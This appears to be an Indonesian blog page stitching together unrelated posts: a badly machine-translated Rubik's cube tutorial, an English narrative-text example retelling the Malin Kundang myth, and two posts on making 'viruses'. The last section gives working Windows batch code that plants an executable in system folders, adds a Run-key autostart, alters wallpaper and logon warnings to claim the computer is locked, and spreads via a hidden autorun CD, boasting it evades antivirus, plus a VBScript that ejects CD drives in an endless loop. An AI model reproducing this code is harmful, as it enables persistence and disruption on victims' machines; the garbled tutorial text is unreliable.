Welcome to My Blog

.

Rubik

Singkatan Singkatan   Dalam rangka untuk memberitahu Anda bagaimana untuk memanipulasi kubus Anda, bahasa beberapa kebutuhan yang akan dibentuk dalam rangka untuk memandu Anda ke arah yang benar.
  • = Front
  • B = Back
  • L = Waktu
  • R = Right R = Kanan
  • U = Up U = Up
  • D =  Down
Gambar 1

Ketika anda melihat huruf dalam seri, itu berarti Anda akan memutar bahwa wajah kubus searah jarum jam, seolah-olah Anda sedang melihat wajah itu.  Kali ini yang paling sering bingung adalah ketika menggunakan wajah L dan wajah D.  Butuh beberapa membiasakan diri dalam rangka untuk memvisualisasikan adalah cara yang searah jarum jam, tapi itu akan mudah dengan praktek. Hanya singkatan lain Anda akan melihat saya menggunakan adalah huruf kecil "saya". Hal ini menunjukkan jarum jam berputar dari wajah. . Aturan yang sama berlaku seperti sebelumnya, itu berlawanan seperti jika Anda melihat wajah itu. Juga mencatat bahwa "2" dapat ditempatkan di depan salah satu untuk menunjukkan bahwa Anda melakukannya "dua kali" atau 180 derajat. Juga, sekarang akan menjadi saat yang tepat untuk menyebutkan bahwa ini menunjukkan depan / belakang / sisi / etc tergantung pada bagaimana Anda memegang pada saat itu. The "depan" wajah tidak selalu harus menjadi warna tertentu. Itu semua relatif terhadap bagaimana Anda memegang untuk yang bergerak tertentu.
Sebelum kita pindah ke beberapa algoritma yang digunakan pemula, ada satu konsep utama saya ingin menunjukkan Anda. "tengah" potongan, atau potongan yang tidak pernah menyentuh sebuah sisi, secara permanen di tempat.  Mereka tidak pernah akan mengubah posisi dalam hubungan satu sama lain. This is absolutely the most important thing to keep in mind. Ini benar-benar hal yang paling penting untuk diingat.  Itu berarti bahwa kita akan memindahkan bagian pinggir dan pojok sekitar bagian tengah karena bagian tengah akan pernah benar-benar bergerak. Untuk menunjukkan ini, ada gambar kubus Rubik's dibongkar. Selain potongan tengah, ada dua jenis lain: tepi, dan potongan sudut.. potongan Edge memiliki 2 stiker berwarna pada mereka, dan potongan sudut tersebut 3. Perhatikan bahwa tidak peduli berapa banyak Anda bergerak di sekitar ini, jika bagian tepi memiliki stiker biru dan oranye di atasnya, ia akan selalu menjadi bagian tepinya biru dan oranye. Itu berarti masing-masing dari 26 potongan hanya memiliki satu tempat yang benar, sehingga memecahkan "satu sisi" ada gunanya kecuali jika Anda memiliki bagian tepi di tempat yang benar. Lebih lanjut tentang ini nanti.
 Gambar 2

Jadi sekarang ke algoritma. Kubus Rubik 3x3 itu dapat diselesaikan dalam 7 langkah sederhana, setiap waktu. Anda dapat belajar untuk mengikuti algoritma ini dalam sehari, dan mengingat mereka dengan satu hari ke-2 tentang praktek. Yang saya mengajar Anda adalah cara termudah untuk mengingat, bukan yang tercepat. Ada tambahan beberapa algoritma yang dapat membantu mendapatkan waktu Anda di bawah 2 menit dengan sedikit usaha. Saya dapat menambahkan ini di kemudian hari, tetapi untuk sekarang aku hanya menyediakan Anda dengan mudah untuk mengikuti dan memahami.
Step 1 - The Cross Langkah 1 - Salib
Ingat bagaimana aku mengatakan potongan tengah tidak pernah bergerak dalam hubungan satu sama lain, dan potongan tepi hanya pada tempat yang benar? Di sinilah Anda dapat mulai menerapkan pengetahuan itu. Tujuan akhir dari langkah pertama adalah untuk membuat sebuah salib (dalam hal ini, sisi putih) dengan potongan tepi memiliki warna yang sesuai dari bagian pusat sisi yang berdekatan itu. Ada benar-benar tidak ada algoritma yang dapat digunakan untuk hanya menyelesaikan langkah ini, jadi kebanyakan intuitif. Aku akan, bagaimanapun, menyediakan satu algoritma yang harus setidaknya membantu Anda. Here is the ultimate goal of the first step: Berikut adalah tujuan akhir dari langkah pertama:

Gambar 3
Sekarang katakanlah Anda berakhir dengan sesuatu seperti ini gambar berikut. Anda memiliki tepi dua buah pesawat yang tepat, tetapi mereka harus ditukarkan. Cara termudah untuk memindahkan potongan tepi adalah untuk memutar mereka ke dalam pesawat bawah, putar bagian bawah, dan memutar kembali ke atas pesawat. Algoritma dalam kasus ini adalah: 2R, Di, 2F [yang akan menempatkan putih / potongan hijau ke tempatnya] D, 2R [menempatkan putih / bagian merah di posisi yang benar.] Ini hanyalah satu contoh, tetapi hanya ingat untuk mendapatkan bagian tepi putih ke piring bawah, memutar tempat bawah hingga di bawah ini mana harus pergi, kemudian putar sampai ke tempat itu perlu. It's mostly intuitive, but this should help. Ini kebanyakan intuitif, tapi ini akan membantu.

Gambar 4
Langkah 2 - Corners Top
Setelah Anda memiliki kubus Anda tampak seperti Gambar 3 saatnya untuk memecahkan sudut-sudut putih. Ada potongan sudut 4 dengan stiker putih pada mereka, dan 2 warna lain. Pertama menemukan potongan sudut putih di lapisan bawah dan garis itu antara kedua belah pihak itu seharusnya antara [yaitu Jika itu sepotong / oranye putih / biru, memutar lapisan bawah sampai di antara sisi biru dan oranye.] Dan algoritma ini akan flip bagian yang naik ke tempat di lapisan atas langsung di atasnya. . Misalnya Anda mulai dengan yang pertama (oranye di bagian bawah potongan sudut putih) dan ingin flip itu.
Angka 5 dan 6

Algoritma yang digunakan di sini adalah: Ri, Di, R, D (x1, x3, x5) Perhatikan bahwa Anda mungkin harus melakukan hal ini algoritma beberapa kali tergantung pada orientasi wajah putih di blok pojok bawah. Jika itu menghadap ke bawah, Anda akan harus melakukannya tiga kali, atau jika menghadap arah yang berlawanan maka Anda akan harus mengulang lima kali.  Ini mungkin membosankan, tetapi setelah Anda belajar bagaimana untuk memindahkan potongan sekitar ada jalan pintas yang mudah untuk belajar. Ini bagus untuk saat ini. Ulangi pada semua 4 sudut. Anda mungkin memiliki sudut putih "menempel" di lapisan atas sudah tapi dalam posisi yang salah atau dalam orientasi yang salah. Hanya memutar anak dan melakukan algoritma ini sekali untuk mendapatkan ke lapisan bawah dan kemudian beralih lapisan bawah hingga di bawah ini di mana perlu, kemudian ulangi algoritma sampai di orientasi yang tepat.Cukup mudah? Saya berharap begitu. Berikut cara kubus Anda akan terlihat.

 Gambar 7

Langkah 3 - Tepi Tengah
Pada titik ini dalam waktu yang terbaik untuk flip kubus Anda 180 derajat begitu putih sekarang pada bagian bawah dan kuning sekarang di atas. Ingat, F / B / U / D / L / R menunjukkan wajah anda manipulasi tergantung pada bagaimana Anda memegang kubus, mereka tidak berkorelasi dengan semua warna tertentu. Now we'll be solving the middle edges. Sekarang kita akan memecahkan tepi tengah. This is an exciting step because your cube will start to resemble the finished solution. Ini adalah langkah yang menarik karena kubus anda akan mulai menyerupai solusi selesai. The first thing you'll want to do is get one of the edge pieces lined up with the middle piece below it, similar to how you solved the cross in step 1. Hal pertama yang harus Anda lakukan adalah mendapatkan salah satu bagian tepi sejajar dengan bagian tengah bawah itu, sama dengan bagaimana Anda dipecahkan salib pada langkah 1.  Ada dua cara mereka dapat berbaris (ingat masing-masing bagian hanya memiliki 1 tempat yang seharusnya untuk pergi.) Mereka ditunjukkan dalam dua gambar di bawah ini:
& &
Catatan ini bukan konfigurasi yang sama Dalam kedua kasus, merah tersebut akan dianggap sebagai wajah depan. Case 1 Kasus 1 (Gambar 8): U, R, Ui, Ri, Ui, Fi, U, F.
. Kasus 2 (Gambar 9): Ui, Fi, U, F, U, R, Ui, Ri.
Ulangi langkah ini untuk setiap potongan sudut.  Jika Anda memiliki tepi bagian tengah terjebak di tempat yang salah Anda dapat menggunakan algoritma ini sekali untuk mendapatkannya keluar, memindahkannya ke tempat yang benar, kemudian ulangi untuk memasukkannya ke dalam itu tempat yang benar. Berikut adalah hasil setelah Anda menyelesaikan langkah ini.

Gambar 10


Langkah 4 - Salib Top
Ini akan mirip dengan langkah 1, tapi kami tidak akan khawatir tentang berbaris potongan tepi yang benar dulu, kita akan melakukan itu pada langkah berikutnya karena termudah untuk menjaga bagian yang terpisah. Sampai sekarang lapisan atas Anda harus menyerupai salah satu dari berikut ini.


ATAU ATAU
Angka 11, 12, dan 13. Catatan bisa ada kotak kuning lain yang hadir.


Ini adalah satu-satunya tiga konfigurasi mungkin kecuali salib Anda sudah diselesaikan, dalam hal ini Anda sangat beruntung. Apapun, mana yang Anda sedang menentukan berapa kali Anda mengulang algoritma berikut. e above figures. Perhatikan bahwa jika Anda mulai pada Gambar 11, Anda mungkin harus reorientate kubus Anda untuk membuatnya terlihat seperti salah satu tokoh di atas. Jadi, inilah algoritma: F, R, U, Ri, Ui, Fi. Ulangi seperlunya.Gambar berikut adalah contoh dari apa yang kubus Anda mungkin terlihat seperti. Satu-satunya bagian penting adalah salib kuning di atas, juga diketahui bahwa potongan-potongan pinggir dan pojok tidak cocok belum. Yang datang berikutnya.

Figure 14 Gambar 14


Langkah 5 - Matching Pieces Edge Salib
Semua yang kita lakukan adalah pencocokan up / tepi kuning anycolor dengan warna bagian pusat bawah ini, mirip dengan bagaimana kita melakukan salib putih pertama (Gambar 3). Sampai Anda mempelajari beberapa cara pintas, Anda hanya harus terus mengulangi algoritma sampai Anda mendapatkan semuanya berbaris. Tidak boleh mengambil lebih dari 3-4 kali. Pertama, berbaris setidaknya satu dari potongan-potongan tepi dengan tempat yang seharusnya untuk pergi, seperti yang digambarkan.

Gambar 15


With the blue face as your "Front" face, perform the following algorithm several times until every edge piece matches up similar to your first white cross. Dengan wajah biru sebagai wajah Anda "Front", lakukan beberapa kali algoritma berikut sampai setiap bagian tepi pertandingan Facebook mirip dengan salib pertama putih Anda. Use this algorithm: R, U, Ri, U, R, 2U, Ri . Gunakan algoritma: R, U, Ri, U, R, 2U, Ri. Repeat until all edge pieces match up with the center pieces below them. Ulangi sampai semua potongan tepi cocok dengan potongan-potongan pusat di bawah mereka. The final result is pictured below: Hasil akhir adalah gambar berikut ini:
Figure 16 Gambar 16


Step 6 - Rotating the Corners Langkah 6 - Memutar Corners
In this step we're just rotating the corner pieces around so they're at least in the correct position - we'll change the orientation in step 7 and we'll be done! Dalam langkah ini kita hanya memutar potongan pojok jadi mereka paling tidak dalam posisi yang benar - kita akan mengubah orientasi pada langkah 7 dan kita akan selesai! I've found the easiest way to do this is make sure the corner piece in the "top right" position is in the correct place and use the algorithm from there, this ensures the fastest route possible is taken (using this algorithm, anyway.) If all pieces are in incorrect spots just start on any side, it doesn't matter. Saya telah menemukan cara termudah untuk melakukannya adalah pastikan potongan sudut pada posisi "kanan atas" adalah di tempat yang benar dan menggunakan algoritma dari sana, ini memastikan rute tercepat yang mungkin diambil (menggunakan algoritma ini, anyway. ) Jika semua potongan-potongan di tempat salah hanya dimulai pada sisi manapun, tidak masalah. Here's an example of a good place to start, using red as your "front" face, of course. Berikut adalah contoh tempat yang baik untuk memulai, menggunakan merah sebagai "depan" wajah Anda, tentu saja.

Figure 17 Gambar 17


The algorithm used to switch the corner pieces is: U, R, Ui, Li, U, Ri, Ui, L . Remember the corner pieces just have to be in the correct position, not the correct orientation. Algoritma yang digunakan untuk mengaktifkan potongan sudut adalah:, R, Ui, Li, U, Ri, Ui, L. U Ingat potongan sudut hanya harus berada dalam posisi yang benar, bukan orientasi yang benar. If after the corner pieces are in their correct position, there is a slight chance that they will already be correctly oriented. Jika setelah potongan-potongan sudut berada di posisi yang benar, ada kemungkinan kecil bahwa mereka akan sudah benar berorientasi. If that's the case, you're lucky. Jika itu terjadi, Anda beruntung. If not, continue to step 7! Jika tidak, lanjutkan ke langkah 7!


Step 7 - Orientating the Last Corner Pieces Langkah 7 - Berorientasi pada Pieces Corner Terakhir
This last step is a little finicky and can take some patience/creativity to solve. Langkah terakhir adalah sedikit rewel dan dapat mengambil beberapa kesabaran / kreativitas untuk memecahkan. To keep things simple I'm just going to teach one last algorithm, although there are at least 4 you can use to solve it faster depending on how your cube is set up at this point. Untuk menjaga hal-hal sederhana Aku hanya akan mengajar satu algoritma terakhir, meskipun ada minimal 4 Anda dapat menggunakannya untuk menyelesaikan lebih cepat tergantung pada bagaimana kubus Anda sudah diatur pada saat ini. I'll show you a couple different scenarios and you should be able to decide how to proceed from there. Saya akan menunjukkan beberapa skenario yang berbeda dan Anda harus dapat memutuskan cara melanjutkan dari sana. First of all I'll show you what exactly this algorithm does to help you figure it out with a little bit of intuitiveness (yes, that's a word.) Here is the algorithm used in this step (I know, it's very long, but bear with me!): L, U, Li, U, L, 2U, Li, Ri, Ui, R, Ui, Ri, 2U, R Pertama-tama saya akan menunjukkan kepada Anda apa sebenarnya algoritma ini tidak untuk membantu Anda mengetahuinya dengan sedikit intuitif Berikut adalah algoritma yang digunakan dalam langkah (saya tahu (ya, itu sebuah kata.), Sangat lama, tapi beruang dengan saya:!) L, U, Li, U, L, 2U, Li, Ri, Ui, R, Ui, Ri, 2U, R




 Gambar 18: Cara terbaik yang saya bisa menggambarkan apa yang terjadi adalah potongan-potongan sudut dua di wajah kanan putar wajah-atas dari sudut "di-kelurahan."
  • Skenario 1: Ada dua kubus berwarna sama yang berdekatan satu sama lain. Anda dapat memecahkan potongan sudut setidaknya dua dalam satu bergerak tanpa mengacaukan apa pun sampai. Hanya menggunakan algoritma sekali, mudah sekali.

Gambar 19
  • Skenario 2: Ada dua kubus berlawanan berwarna berdekatan satu sama lain. kesepakatan Sama seperti skenario 1 tetapi Anda harus melakukan dua kali (satu kali untuk membuat mereka warna yang sama, sekali lagi untuk mengarahkan mereka dengan benar.)

Gambar 20
  • Skenario 3: Satu potongan sudut dipecahkan, tetapi ada 3 yang belum terpecahkan. Dalam hal ini Anda harus menggunakan penilaian terbaik Anda menggunakan pengetahuan Anda. Jika dua sudut memiliki warna yang berdekatan menghadap ke atas, membuat kedua di wajah kanan dan menggunakan algoritma dalam orientasi pertama. Jika tidak, itu super penting untuk mengarahkan salah satu sudut luar pertama. Jika Anda memecahkan sudut menghubungkan dua lainnya anda akan memiliki dua sudut yang belum terpecahkan non-perbatasan, yang hanya akan membawa Anda lebih lama untuk menyelesaikan.
  • Skenario 4: Dua sudut yang belum terpecahkan di sudut yang berlawanan dari kubus. . Ini adalah rasa sakit terbesar di pantat. See if you can solve one of the cubes by picturing how it will be oriented after you use the algorithm (refer to figure 18.) This will most likely take 3 tries until it's solved. Lihat apakah Anda dapat menyelesaikan salah satu dari batu dengan membayangkan bagaimana akan berorientasi setelah Anda menggunakan algoritma ini kemungkinan besar akan memakan waktu 3 (lihat gambar 18.) Mencoba sampai itu dipecahkan. So after you finish this step you should be done! Jadi setelah Anda menyelesaikan langkah ini Anda harus dilakukan!


This is the first version if this tutorial. Ini adalah versi pertama jika tutorial ini. There are likely typos which aren'ta huge deal, but if you keep trying and trying and this guide isn't helping you solve your Rubik's cube, there may be a typo in one of the algorithms. Ada kemungkinan kesalahan ketik yang aren'ta persoalan besar, tetapi jika Anda terus mencoba dan mencoba dan panduan ini tidak membantu anda memecahkan Rubik's cube Anda, mungkin ada kesalahan ketik di salah satu algoritma. If this is the case, please don't hesitate to e-mail and I'll see if I can fix it. Jika ini kasusnya, jangan ragu untuk e-mail dan saya akan melihat apakah aku bisa memperbaikinya. dougwelch@gmail.com dougwelch@gmail.com

cOntoH uNderStaNDIng tYpe Of tEXt

 
The Myth of Malin Kundang
A long time ago, in a small village near the beach in West Sumatra, a woman and her son lived. They were Malin Kundang and her mother. Her mother was a single parent because Malin Kundang's father had passed away when he was a baby. Malin Kundang had to live hard with his mother.
Malin Kundang was a healthy, dilligent, and strong boy. He usually went to sea to catch fish. After getting fish he would bring it to his mother, or sold the caught fish in the town.
One day, when Malin Kundang was sailing, he saw a merchant's ship which was being raided by a small band of pirates. He helped the merchant. With his brave and power, Malin Kundang defeated the pirates. The merchant was so happy and thanked to him. In return the merchant asked Malin Kundang to sail with him. To get a better life, Malin Kundang agreed. He left his mother alone.
Many years later, Malin Kundang became wealthy. He had a huge ship and was helped by many ship crews loading trading goods. Perfectly he had a beautiful wife too. When he was sailing his trading journey, his ship landed on a beach near a small village. The villagers recognized him. The news ran fast in the town; “Malin Kundang has become rich and now he is here”.
An old woman ran to the beach to meet the new rich merchant. She was Malin Kundang’s mother. She wanted to hug him, released her sadness of being lonely after so long time. Unfortunately, when the mother came, Malin Kundang who was in front of his well dressed wife and his ship crews denied meeting that old lonely woman. For three times her mother begged Malin Kundang and for three times he yelled at her. At last Malin Kundang said to her "Enough, old woman! I have never had a mother like you, a dirty and ugly woman!" After that he ordered his crews to set sail. He would leave the old mother again but in that time she was full of both sadness and angriness.
Finally, enraged, she cursed Malin Kundang that he would turn into a stone if he didn't apologize. Malin Kundang just laughed and really set sail.
In the quiet sea, suddenly a thunderstorm came. His huge ship was wrecked and it was too late for Malin Kundang to apologize. He was thrown by the wave out of his ship. He fell on a small island. It was really too late for him to avoid his curse. Suddenly, he turned into a stone.


Narrative Analysis on Generic Structure
Many believe that a story can teach a society certain moral value. Most stories are build in narrative. Because it is a narrative story, it must consists of complication. That complication, in fact, is the moral value which like to be taught.
Orientation; the first paragraph is set to be the story introduction. Reading the orientation, reader will know that the story is characterized with Malin Kundang and his mother. Wes Sumatra is set as the place.
Complication; this is the main element of narrative story. From the Malin Kundang myth, we know that there are more than one complication. Many stories are composed with multi complications. They are minor complication and major complication. When Malin Kundang and her mother did life hard, it can be the minor complication. this hard life in the first time was solved by his successful trading as new merchant. However this narrative sotry is more interesting when we see the major complication among the participants- Malin Kundang denied his mother after being successful merchant. In every story, complication must be ended; happy ending or sad one
Resolution; this is the end of the story, the sad ending one. Malin Kundang faces his curse of turning into a stone.

Cara Buat Virus Sederhana Dari Notepad







ni virus efeknya g t’lalu bahaya….efek dari virus ini cuman mengganti tampilan dari
windows…..tapi cukup bikin kaget juga!!! tapi yg penting gak ke-detect ama anti virus(setahu saya….. )

ni ane dapet dari hasil baca-baca “HELP”-nya windows Xp…trus ane modif sendiri…
note: “HANYA BEKERJA PADA WINDOWS XP”
caranya:

- buka notepad lalu  copy paste…(tapi di edit dulu yaaa… )
script di bawah ini:

@echo off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f


- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:

[autorun]
open=nama_file.bat


- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- nikmati efeknya

Cara membuat virus CD Rom gila

 Silahkan  copy di notepad aja............................
  
CD Rom gila

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
 
 
 
untuk lebih lengkapnya kunjungi sanjayaklan